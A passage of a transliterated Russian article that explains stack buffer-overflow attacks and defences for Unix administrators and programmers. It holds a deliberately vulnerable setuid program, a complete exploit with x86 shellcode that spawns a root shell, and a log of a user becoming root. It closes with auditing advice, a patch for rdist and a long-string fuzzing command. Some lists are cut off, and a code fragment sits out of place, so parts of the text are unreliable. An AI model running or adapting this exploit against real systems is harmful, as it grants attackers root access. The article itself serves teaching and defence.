Predotvrashchenie razlichnogo roda atak, kotorym podvergayutsya sovremennye komp'yuternye sistemy - nastol'ko ob®emnaya tema, chto chasto, stremyas' ohvatit' ee polnost'yu, mnogie publikacii poluchayutsya izlishne obobshchennymi, bez konkretnyh rekomendacij po vyyavleniyu, proverke i obezvrezhivaniyu hakerskih atak. Predlagaemaya stat'ya imeet cel'yu zapolnit' etot probel i posvyashchena detal'nomu obsuzhdeniyu chasto ochen' maloponyatnyh atak iz klassa "buffer-overflow" i metodam zashchity ot nih. Rech' pojdet ob odnoj iz tehnologij, kotoraya segodnya ispol'zuetsya vse chashche i trebuet dlya bor'by s nej ponimaniya raboty sistemy i navykov programmirovaniya, lishnij raz pokazyvaya, chto kul'tura programmirovaniya - vopros ne tol'ko stilya, no i bezopasnosti. Stat'ya orientirovana na administratorov i programmistov, predpochitayushchih ne tol'ko znat' otvet na vopros "kak?", no i na vopros "pochemu?".
Itak...
Esli vy kogda-nibud' programmirovali na Ci ili Paskale, to stalkivalas' s oshibkami tipa "Memory fault - core dumped" ili "General Protection Fault". Kak pravilo, eti proishodit, esli programma popytalas' poluchit' dostup k ne prinadlezhashchej ej oblasti pamyati. |to dovol'no chasto sluchaetsya, esli programmist zabyl, naprimer, proverit' razmery stroki, zanosimoj v bufer, i ostatok stroki "v®ehal" v kakie-to drugie dannye ili dazhe v kod. V zashchishchennom rezhime programma-monitor ili yadro operacionnoj sistemy mozhet kontrolirovat' popytki dostupa k "chuzhoj pamyati" i zavershat' narushivshuyu pravila programmu. Odni operacionnye sistemy delayut etu luchshe - UNIX, drugie obolochki - huzhe (Windows), a takie, kak MS DOS, voobshche ne umeyut nichego podobnogo i lish' banal'no zavisayut.
CHasto takie oshibki proyavlyayutsya ne srazu. Predpolozhim, programmist schitaet, chto 1024 bajta, kotorye on vydelil pod vremennyj bufer budet vpolne dostatochno vo vseh sluchaev. Horosho, esli eto tak. No, kak pokazyvaet opyt, eto dopushchenie predstavlyaet soboj potencial'no slaboe mesto v programme, kotoroe obyazatel'no dast o sebe znat'. Horosho, esli programma rabotaet v odnopol'zovatel'skoj OS - kak maksimum, sboj privedet k zavisaniyu komp'yutera; no v mnogopol'zovatel'skoj, i, tem bolee, setevoj OS, posledstviya mogut byt' bolee ser'eznymi - malen'koe "dopushchenie" sposobno razrushit' vsyu sistemu bezopasnosti seti, kotoruyu administrator tak staratel'no vozvodil.
Samoe plohoe, chto eti "dopushcheniya" molchat o sebe dostatochno dolgoe vremya, nikak ne proyavlyayas', a chasto obnaruzhivayut sebya, lish' popavshis' na glaza hakeru. Preuvelichenie? Net. Izvestnyj virus Morrisa, porazivshij v svoe vremya tysyachi komp'yuterov, ispol'zoval, v chastnosti, etot algoritm dlya proniknoveniya v zashchishchennye sistemy. A prostoe nablyudenie za sobytiyami, proishodyashchimi segodnya v oblasti bezopasnosti daet vse osnovaniya schitat', chto idet celaya volna "buffer-overflow exploits" - obshchee nazvanie dlya programm, kotorye dlya proryva v sistemu i/ili dlya polucheniya privilegij superpol'zovatelya ispol'zuyut netochnosti v kontrole razmerov strok i buferov.
Dlya togo, chtoby ponyat' mehanizm raboty, my budem ispol'zovat' prostuyu programmu pod nazvaniem "rabbit.c":
#include#include void process(char *str) { char buffer[256]; strcpy(buffer, str); printf("Dlina stroki = %d\n", strlen(buffer)); return; } void main(int argc, char *argv[]) { if (argc == 2) process(argv[1]); else printf("Usage: %s some_string\n", argv[0]); }
Podobnye fragmenty programm, v kotoryh funkciya prinimaet stroku kak odin iz neskol'kih argumentov, imeet lokal'nyj bufer ogranichennogo razmera, ispol'zuet vyzovy tipa strcpy() ili sprintf(), mozhno vstretit' v bol'shom kolichestve programm.
Razberemsya v detalyah, kak v bol'shinstve sluchaev proishodit vyzov funkcii process(). Itak, stek (budem schitat', chto on rastet vverh) pered vyzovom funkcii vyglyadit sleduyushchim obrazom:
|. . . | (oblast' mladshih adresov) | | |------| <== Ukazatel' verhushki steka |XXXXXX| |XXXXXX| Ispol'zovannaya chast' steka |XXXXXX| |. . . | (oblast' starshih adresov)Parametry funkcii peredayutsya cherez stek - tuda zanosyatsya ukazateli na parametry ili sami parametry (v nashem sluchae eto odin ukazatel' na stroku), a vyzvannaya funkciya izvlekaet ih ottuda. Estestvenno, vsem etim zanimaetsya kod, sgenerirovannyj kompilyatorom - programmist ne prinimaet uchastiya v etom processe. Posle togo, kak parametry zaneseny v stek, a processor vstrechaet instrukciyu vyzova funkcii on zanosit v stek nekotoruyu informaciyu o tekushchem sostoyanii - kak pravilo, eto smeshchenie sleduyushchej posle komandy vyzova. Takim obrazom, funkciya, zavershiv svoyu rabotu, budet znat' adres vozvrata upravleniya. V rezul'tate, vo vremya vypolneniya pervoj stroki funkcii stek imeet sleduyushchij vid:
|. . . | (oblast' mladshih adresov) | | |------| <== Ukazatel' na verhushku steka |RETADR| <== Adres vozvrata |PARAMS| <== Parametry funkcii |XXXXXX| |XXXXXX| Ispol'zovannaya chast' steka |XXXXXX| |. . . | (oblast' starshih adresov)CHto proishodit dal'she? Funkcii nado zapomnit' ukazatel' na tekushchuyu verhushku steka (BP), kotoryj budet ispol'zovat'sya v ssylke na parametry. Poetomu vypolnyayutsya sleduyushchie dve instrukcii (v kachestve primera rassmotrim semejstvo x86):
push bp mov bp,spTeper' v verhushke steka lezhit predydushchee znachenie registra BP, a sam on ukazyvaet na verhushku steka i mozhet byt' ispol'zovan v kachestve bazovogo registra pri ssylke na parametry.
V programme byl ob®yavlen razmer bufera v 256 bajt. Poskol'ku ne ispol'zovalis' funkcii malloc() ili new dlya vydeleniya trebuemogo ob®ema pamyati, i ne ukazyvalsya modifikator "static", etot bufer budet zarezervirovan v steke. Posle vseh etih operacij stek imeet sleduyushchij vid:
|. . . | (oblast' mladshih adresov) | | |------| <== Verhushka steka |??????| <== Nachalo zarezervirovannogo bufera |??????| . . . |??????| <== Konec bufera |OLD BP| <== Staroe znachenie registra BP |RETADR| <== Adres vozvrata |PARAMS| <== Parametry |XXXXXX| |XXXXXX| Nekaya uzhe zanyataya chast' steka |XXXXXX| |. . . | (oblast' starshih adresov)Posle vsego etogo programma rabotaet prekrasno, poka delo ne dohodit do vyzova funkcii "strcpy()". Esli dlina stroki men'she ili ravna dline bufera, to vse projdet horosho, funkciya otrabotaet, osvobodit zarezervirovannoe prostranstvo, vosstanovit registr BP, i, nakonec, vernet upravlenie programme, kotoraya ochistit stek ot peredannyh parametrov.
CHto zhe proizojdet, esli dlina stroki budet bol'she razmera bufera? Poskol'ku strcpy() kopiruet vse simvoly, poka ne vstretit kod konca stroki - "0", chast' stroki zatret verhnyuyu chast' steka i, estestvenno, mozhet isportit' pole RETADR. Vprochem, eto stanet zametno ne srazu - vse budet rabotat' velikolepno, poka delo ne dojdet do vyzova return(). Upravlenie budet peredano po adresu, kotoryj hranitsya v pole RETADR, no poskol'ku adres isporchen, vypolnenie programmy prodolzhitsya v nekoj tochke adresnogo prostranstva, otlichayushchejsya ot tochki vyzova. Vot v etom-to meste i proizojdet isklyuchitel'naya situaciya i programma budet avarijno prervana, poskol'ku maloveroyatno, chtoby adres vozvrata ukazyval na kakoj-to osmyslennoj kod, prichem nahodyashchijsya v oblasti pamyati dannoj programmy.
Odnako, eto okazyvaetsya vozmozhnym, esli kto-to special'no hotel vyzvat' podobnuyu situaciyu. Ved' chto meshaet v kachestve argumenta funkcii peredat' stroku special'no podobrannoj dliny, tak, chto by ona soderzhala nekotoryj mashinnyj kod, prichem pri zatiranii verhushki steka v pole REDADR popadal adres imenno etogo koda? Posle otrabotki funkcii return() upravlenie poluchit novyj fragment, chto sovsem ne predusmatrivalos' avtorom programmy. Nu a etot fragment uzhe smozhet vypolnit' proizvol'nuyu operaciyu, obrashchayas' k servisu operacionnoj sistemy.
Kak zhe budet vyglyadet' stek posle vyzova strcpy()?
|. . . | (oblast' mladshih adresov) | | |------| <== Verhushka steka +->|!!!!!!| | |!!!!!!| <== Mashinnyj kod hakera | |!!!!!!| | |OLD BP| <== Staroe znachenie registra BP (isporchennoe, no eto uzhe nevazhno) +--|RETADR| <== Adres vozvrata (ispravlennyj) |PARAMS| <== Parametry |XXXXXX| |XXXXXX| Nekaya uzhe zanyataya chast' steka |XXXXXX| |. . . | (oblast' starshih adresov)Kak sozdaetsya takoj mashinnyj kod? Vo-pervyh, stoit vyyasnit' primernyj adres verhushki steka na dannoj mashine pri vyzove funkcij, chtoby korrektno sformirovat' adres vozvrata, kotoryj popadet v pole RETADR. Kak pravilo eto delaetsya programmoj exploit s pomoshch'yu vyzova pustoj funkcii, vozvrashchayushchej v kachestve parametra znachenie verhushki steka. Vo-vtoryh, fragment dolzhen byt' napisan takim obrazom, chtoby ne soderzhat' simvola 0, kotoryj budet rascenen, kak konec stroki - etim simvolom kod budet zakanchivat'sya. Konechno, on popadet pri kopirovanii v oblast' parametrov, no hakera eto, kak i isporchennyj registr BP, ne volnuet - glavnoe, upravlenie budet peredano na chuzherodnyj fragment. V-tret'ih, tochno dolzhny byt' rasschitany razmery bufera, chtoby vse popalo v nuzhnye mesta i ne vyzvalo obychnogo core dump, dolzhny byt' uchitany razmery drugih peremennyh, stoyashchih mezhdu buferom i RETADR. I, nakonec, v-chetvertyh - haker dolzhen umet' vyzyvat' funkcii operacionnoj sistemy.
Hotya zadacha kazhetsya dovol'no netrivial'noj, v nej net nichego slozhnogo dlya programmista, znayushchego sistemu. Naprimer, podobnyj kod dlya Linux, BSD-family, a takzhe OS Solaris, vyzyvayushchij /bin/sh i legko podstraivaemyj pod konkretnye razmery bufera, dovol'no shiroko gulyaet po Internet i mozhet byt' ispol'zovan dlya obnaruzheniya hakerom novoj dyrki v programmah. A eto obnaruzhenie trebuet lish' terpeniya, ibo v Internet dostupny ishodnye teksty ogromnogo kolichestva programm i utilit - dazhe kommercheskogo Solaris.
Programma exploit.c (h86), demonstriruyushchaya, kak mozhno vospol'zovat'sya netochnost'yu, dopushchennoj v testovom primere rabbit.c.
#includePrimer kompilyacii i vypolneniya:#include #define DEFAULT_OFFSET 50 #define BUFFER_SIZE 256 #define SKIP_VARS 4 /* Poluchit' ukazatel' na stek */ long get_esp(void) { __asm__("movl %esp,%eax\n"); } void main() { char *buff = NULL; char *ptr = NULL; int i; /* Dannyj fragment vypolnyaet vyzov /bin/sh */ char execshell[] = "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07" "\x89\x56\x0f\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b" "\x8d\x4e\x0b\x89\xca\x52\x51\x53\x50\xeb\x18\xe8\xd8" "\xff\xff\xff/bin/sh\x01\x01\x01\x01\x02\x02\x02\x02" "\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"; /* Vydelyaem pamyat' */ buff = malloc(BUFFER_SIZE+16); if(!buff) { perror("Can't allocate memory"); exit(0); } ptr = buff; /* Zapolnyaem nachalo stroki kodami komandy NOP ("net operacii") */ for (i=0; i < BUFFER_SIZE-strlen(execshell); i++) *(ptr++) = 0x90; /* Teper' kopiruem v stroku mashinnyj kod */ for (i=0; i < strlen(execshell); i++) *(ptr++) = execshell[i]; /* Propuskaem vse, chto lezhit mezhdu buferom i adresom vozvrata */ for (i=0; i < SKIP_VARS; i++) *(ptr++) = 0x90; /* Zapisyvaem adres vozvrata */ *(long *)ptr = get_esp() + DEFAULT_OFFSET; ptr += 4; /* Zavershayushchij 0 */ *ptr = 0; /* Vyzov programmy s sformirovannoj strokoj v kachestve argumenta */ printf("%s\n", buff); execl("./rabbit", "rabbit", buff, NULL); }
# id uid=0(root) gid=0(wheel) # gcc -o rabbit rabbit.c # chmod u+s rabbit # ls -l rabbit -- Itak, rabbit - root-setuid -rwsr-xr-x 1 root wheel 12288 Jan 1 00:01 rabbit # su user $ id uid=200 (user), group = 200 (users) -- YA - obychnyj pol'zovatel' $ ./rabbit test -- Programma rabotaet normal'no... Dlina stroki = 4 $ gcc -o exploit exploit.c -- Podgotavlivaemsya... $ ./exploit -- Zapuskaem exploit, a tot Dlina stroki = 264 -- zapuskaet rabbit # id uid=200(root) gid=200(users) euid=0(root) -- Op-lya, ya superpol'zovatel'!
Mozhno vozrazit', chto sushchestvuyut gorazdo bolee prostye sposoby proniknoveniya v sistemu, chem upomyanutyj. Ne sovsem tak. Bolee prostye sposoby chasto ne rabotayut, poskol'ku shiroko izvestny; v dannom zhe sluchae imeet mesto gorazdo bolee maloizvestnaya situaciya. Krome etogo, sushchestvuet slishkom bol'shoe kolichestvo programm s opisannymi oshibkami, kotorye mgnovenno prevrashchayutsya v lazejki dlya hakera. Ved' dannaya problema ne otnositsya k tipu "dyrok" v sendmail, kotorye zakryvayutsya raz i navsegda, a predstavlyaet soboj uzhe nekuyu tehnologiyu, kotoraya mozhet ispol'zovat'sya dostatochno chasto.
Glavnaya zhe problema zaklyuchaetsya v global'nosti - ved' programma ne obrashchaetsya k sistemnym resursam. K steku obrashchaetsya programma pol'zovatelya, prichem ne k sistemnomu steku, a k svoemu, chto vpolne estestvenno. Krome togo, nuzhno eshche poiskat' OS, kotoraya proveryaet, zatiraet li zapisyvaemaya v stek stroka ego verhushku. |to delo libo programmista i/ili kompilyatora. Na urovne OS eto nevozmozhno detektirovat', tak kak narusheniya zashchity ne proishodit - programma ne vyhodit za predely steka ili segmenta.
Takim obrazom, metod rabotaet vezde, gde
Kak izvestno, etim trebovaniyam udovletvoryayut prakticheski vse operacionnye sistemy - imenno poetomu problema yavlyaetsya stol' global'noj.
V programme rdist iz BSD v odnom iz vyzovov otsutstvovala proverka na razmer parametra, peredavaemoj iz komandnoj stroki. Sushchestvuet programma, kotoraya formiruet trebuemyj kod i vyzyvaet /usr/bin/rdist, peredavaya kod v kachestve parametra. Poskol'ku rdist vypolnyaetsya s privilegiyami superpol'zovatelya (setuid bit), peredannyj kod takzhe vypolnyalsya s privilegiyami root i v rasporyazhenii hakera okazyvalsya shell s pravami root.
V odnoj iz versij POP-servera proverka dliny stroki prisutstvovala, no ne byla do konca korrektnoj - ne otlavlivalos' perepolnenie pri vyzove sprintf(). CHto eto oznachaet? Byla napisana programma, kotoraya soedinyalas' s 110-m portom (pop3-servis) i peredavala emu sformirovannyj kod, posle chego pop-server soobshchal o nevernoj komande sprintf() i "vyvalivalsya" v shell posle return(), prichem s pravami superpol'zovatelya root. Prichem v dannom sluchae hakeru dazhe ne trebovalos' imet' svoj razdel na mashine, chtoby prorvat'sya na nee, da eshche i s pravami root.
Preslovutyj virus Morrisa ispol'zoval analogichnuyu netochnost' v shiroko rasprostranennoj programme finger, i dokazal svoyu rabotosposobnost', razojdyas' za neskol'ko chasov na ogromnoe kolichestvo komp'yuterov v nauchnyh i voennyh setyah SSHA.
Programmy, napisannye pod X-Window, kak pravilo, peredayut parametr
"-display
Sovsem nedavno v spiske rassylki freebsd-security byla opublikovana
informaciya o oshibke - otsutstvie proverki razmera bufera - v
podsisteme pechati, yavlyayushchejsya fakticheskim standartom i ispol'zuyushchejsya
vo vseh semejstvah BSD, SunOS, a takzhe vhodyashchej v sostav ostal'nyh
operacionnyh sistem (dlya sovmestimosti). Bezuslovno, rano ili pozdno
eta oshibka budet ispravlena, no skol'ko problem mogut
vozniknut' do etogo momenta?
Ochen' zhal', chto v poslednee vremya primery exploit-koda stali
shiroko dostupny, i chasto cheloveku (daleko ne sistemnomu programmistu),
zametivshemu netochnost' v programme, dostatochno podkorrektirovat' lish'
neskol'ko peremennyh (tipa BUFFER_SIZE, SKIP_VARS) dlya polucheniya rabotayushchej
programmy-bandita.
Politika administratora po bezopasnosti mozhet kratko oharakterizovat'sya
vsego dvumya lozungami: "predotvrashchaj" i "operativno reagiruj".
Nesmotrya na to, chto segodnya sushchestvuet bol'shoe kolichestvo klonov UNIX,
rekomendacii vyglyadyat primerno odinakovo dlya vseh platform, poskol'ku
principy ispol'zuyutsya odni i te zhe. Nekotorye razlichiya sostoyat v tom,
chto semejstvo x86 izucheno hakerami gorazdo luchshe, chem,
naprimer, Sparc ili MIPS, a nalichiem dostupnyh
ishodnyh tekstov mogut pohvastat'sya daleko ne vse operacionnye sistemy.
Otsutstvie tekstov zatrudnyaet kak vzlom sistemy, tak i ispravlenie
oshibok i izuchenie ee raboty - kak vsegda, lyuboj fakt v zhizni
programmista i administratora yavlyaetsya palkoj o dvuh koncah.
Prezhde vsego, podrazumevaetsya, chto uzhe vypolneny vse ispravleniya v
sisteme, informaciya o kotoryh mozhet byt' poluchena u postavshchika OS.
Odnako poka uspokaivat'sya rano - poroj proizvoditeli OS sami
ne ochen' operativno reagiruyut na obnaruzhenie oshibok v ih produktah.
Poetomu mozhno predlozhit' eshche neskol'ko variantov zashchity ot oshibok
klassa buffer-overflow exploits.
Variant pervyj - esli dostupny ishodnye teksty i mnogo svobodnogo
vremeni: v programmah, vypolnyayushchihsya s privilegiyami superpol'zovatelya
(root setuid-programmy; programmy, vyzyvayushchiesya iz inetd i t.d.) nado
otyskat' vse vyzovy funkcij strcpy, gets, sprintf a,
vozmozhno, drugih funkcij raboty so strokami, i proverit', ne
ispol'zuyutsya li pri etom lokal'nye bufery fiksirovannoj dliny. Mozhno
eshche poiskat' konstanty tipa BUFSIZ, PATH_MAX i dr. Proanalizirovav
tekst, mozhno vypolnit' sleduyushchie dejstviya:
Esli rezul'tatom vypolneniya etoj komandy budet odinokaya fraza tipa:
"Memory fault, core dump saved", to eto oznachaet, chto imeetsya
dostatochno prichin, chtoby:
No ne stoit dumat', chto vse tak prosto. CHasto trudno izbezhat'
polnogo analiza teksta programmy, ved' nikto ne meshaet avtoru ispol'zovat'
sleduyushchuyu konstrukciyu:
Administratoru rekomenduetsya podpisat'sya na takie spiski rassylki,
posvyashchennye UNIX security, kak BUGTRAQ, BoS, WDL; na standartnye
uvedomleniya CERT (Computer Emergency Response Team), iz kotoryh
mozhno operativno uznat' o probleme i zakryt' otkryvshuyusya lazejku v
sisteme. Bolee podrobnuyu informaciyu o spiskah rassylki po
komp'yuternoj bezopasnosti mozhno pocherpnut' na
WDL WWW.
Nesomnenno, dlya togo, chtoby obnaruzhit' ataku, stoit periodicheski
analizirovat' informaciyu, kotoruyu zapisyvayut programmy v standartnye fajly
otchetov (naprimer /var/log/messages). K schast'yu, imeetsya bol'shoe
kolichestvo programm, pomogayushchih administratoru sledit' za ego set'yu i
vypolnyat' zadannye ezhednevnye proverki.
Esli dazhe vy ne rabotaete v UNIX to ne sleduet uspokaivat'sya. Otkuda
izvestno, chto prikladnaya programma, tot zhe MS Word, korrektno
proveryaet vse polya v DOC-fajle i ne nachnet v odin prekrasnyj moment
posle zagruzki dokumenta formatirovat' zhestkij disk? K sozhaleniyu,
lish' ochen' tonkaya pregrada stoit na puti vozmozhnogo poyavleniya virusov
podobnogo i zaklyuchaetsya ona malodostupnosti ishodnyh tekstov dlya
produktov pod DOS/WIN, tak chto hakeru pridetsya provesti bessonye
nochi pered otladchikom, razbirayas' v rabote programmy.
Krome etogo, lyuboj zhelayushchij mozhet ubedit'sya, chto i v NT rabotaet takoj
metod proniknoveniya v sistemu, napisav prostejshij primer. Poka na Internet
net programm exploit dlya NT, odnako eto delo vremeni, krome etogo shema
sistemnyh vyzovov v etoj OS poka eshche ne ustoyalas' i postoyanno podvergaetsya
izmeneniyu. Tak chto u NT vse eshche vperedi.
Vyhod odin - programmisty dolzhny srazu sozdavat' nadezhnye
programmy i otvechat' za ih rabotu. I uzh kak minimum, ne ispol'zovat'
buferov i strok fiksirovannoj dliny, esli net tverdoj uverennosti v
tom, chto podobnye fragmenty budut vsegda korrektno rabotat'.
V kachestve poslednego soveta programmistam porekomenduyu pochitat' stat'yu
"Check list for writing secure Unix code" na uzhe upominavshemsya WDL WWW
V kachestve primera oshibochnoj programmy mozhno privesti rdist iz BSD:
struct namelist * lookup(name, action, value)
char *name;
int action;
struct namelist *value;
{
register unsigned n;
register char *cp;
register struct syment *s;
char buf[256];
. . .
if (action != INSERT || s->s_type != CONST) {
/* !!! */ (void)sprintf(buf, "%s redefined", name);
yyerror(buf);
Problema v tom, chto v buf fakticheski zanositsya argument iz komandnoj
stroki, dlina kotorogo ne proveryaetsya. Dlya togo, chtoby izbavit'sya ot
dyrki, dostatochno posle stroki, pomechennoj znakom "!!!", dobavit'
sleduyushchij nebol'shoj fragment (vmesto prostoj diagnostiki mozhet okazat'sya
polezno dobavit' zapis' v fajl otcheta informacii o proisshedshem s ukazaniem
imeni pol'zovatelya, vyzvavshego rdist):
if (action != INSERT || s->s_type != CONST) {
if (strlen(name) > 240)
{
printf("The something going on...\n");
exit(1);
}
(void)sprintf(buf, "%s redefined", name);
Variant vtoroj - ishodnyh tekstov net: neobhodimo napisat' scenarij,
kotoryj pytaetsya vyzvat' proveryaemuyu programmu, ispol'zuya razlichnye
parametry dostatochno bol'shoj dliny. Naprimer, stroka dlya proverki
komandy xterm mozhet vyglyadet' kak:
/usr/bin/X11R6/xterm -display `perl '{print "A" x 5000;}'`:0
V kachestve parametra formiruetsya stroka dlinoj
v 5000 simvolov (kak pokazyvaet praktika, programmisty chasto ispol'zuyut
konstanty BUFSIZ, FILENAME_MAX i t.d., opredelennye v /usr/include, a oni,
obychno ne prevyshayut 2048 bajt. Izmenyaya chislo v stroke i/ili analiziruya
ishodnye teksty, mozhno utochnit' razmer bufera v programme.
for (char *temp=buffer;*buffer;buffer++) *temp++=*buffer;
A rezul'tat u nee tot zhe, chto i u standartnoj funkcii strcpy(). Da i
metod peredachi exploit-koda v programmu mozhet byt' dostatochno slozhnym.
Naprimer, dlya togo, chto by vospol'zovat'sya dyrkoj v sendmail versii
nizhe chem 8.7.5, kod peredaetsya v GECOS-pole, kotoroe v semejstve OS
BSD pol'zovatel' mozhet menyat' s pomoshch'yu programm chfn, chsh i
chpass. Udobnaya, kazalos' by, vozmozhnost': smena imeni, informacii o
telefone/ofise i plyus netochnost' v sendmail obernulis' lazejkoj dlya
hakera.